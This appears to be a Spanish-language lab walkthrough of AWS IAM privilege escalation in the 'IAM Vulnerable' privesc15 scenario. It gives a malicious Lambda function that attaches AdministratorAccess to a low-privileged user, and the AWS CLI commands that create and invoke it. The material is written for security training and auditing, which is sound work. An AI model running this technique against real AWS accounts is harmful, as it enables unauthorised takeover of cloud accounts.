PassExistingRoleToNewLambdaThenInvoke

Lab: IAM vulnerable

Laboratorio

En este apartado se observará el ejemplo utilizando el laboratorio IAM vulnerable con el escenario privesc15

Lab: IAM - Vulnerable | Escenario: privesc15

Un atacante con los permisos iam:PassRole , lambda:CreateFunction y lambda:InvokeFunction puede escalar privilegios pasando un rol de IAM existente a una nueva función de Lambda que incluye código para importar la biblioteca de AWS relevante para el lenguaje de programación de su elección, y luego usándola para realizar las acciones de su elección. Para este ejercicio se simulará que es una auditoria post autenticación (habiendo obtenido las credenciales por algún otro medio previo).

Configuración Inicial

Usuario del laboratorio: privesc15-PassExistingRoleToNewLambdaThenInvoke-user

La cuenta de AWS debe contener un rol existente que incluya el permiso iam:AttachUserPolicy y las funciones lambda deben poder asumir este rol.

assumeRolePolicy.json
{
     "Version": "2012-10-17",
     "Statement": [
         {
            "Sid": "VisualEditor0",
             "Effect": "Allow",
             "Action": "iam:AttachUserPolicy",
             "Resource": "arn:aws:iam::*:user/*"
         }
     ]
}

Luego las políticas asociadas al usuario deben ser las siguientes:

Permisos mínimos para escalar privilegios

Posterior mente generar llaves e acceso desde cuenta administrador para interactuar con el usuario en AWS CLI y configurar un perfil.

Explotación

Paso 1

En este laboratorio, se tiene que iniciar utilizando el permiso lambda:Createfunction para crear una función lambda maliciosa en Python que tendrá el código para adjuntar una política de altos privilegios al usuario inicial privesc15.

code.py
import boto3

def lambda_handler(event, context):
    # crea un cliente de IAM usando la biblioteca Boto3
    client = boto3.client('iam')
    
    # adjunta la política "AdministratorAccess" al usuario 
    response = client.attach_user_policy(UserName='privesc15-PassExistingRoleToNewLambdaThenInvoke-user',
    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    
    # devuelve la respuesta de la API de IAM de AWS
    return response

Para subir el archivo con el permiso lambda:Createfunction es necesario comprimir el archivo en formato zip con el nombre function.zip, después ejecutar el siguiente comando:

aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/privesc-high-role-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-2 --profile privesc15

Paso 2

Llamar la función maliciosa aprovechando el privilegio de lambda:InvokeFunction para invocar dicha función y que finalmente el usuario inicial adquiera el rol de administrador.

aws lambda invoke --function-name privesc output.txt --region us-east-2 --profile privesc15

Con estos pasos ya se habrá ejecutado la escalación de privilegios, se puede observar con el siguiente comando:

Última actualización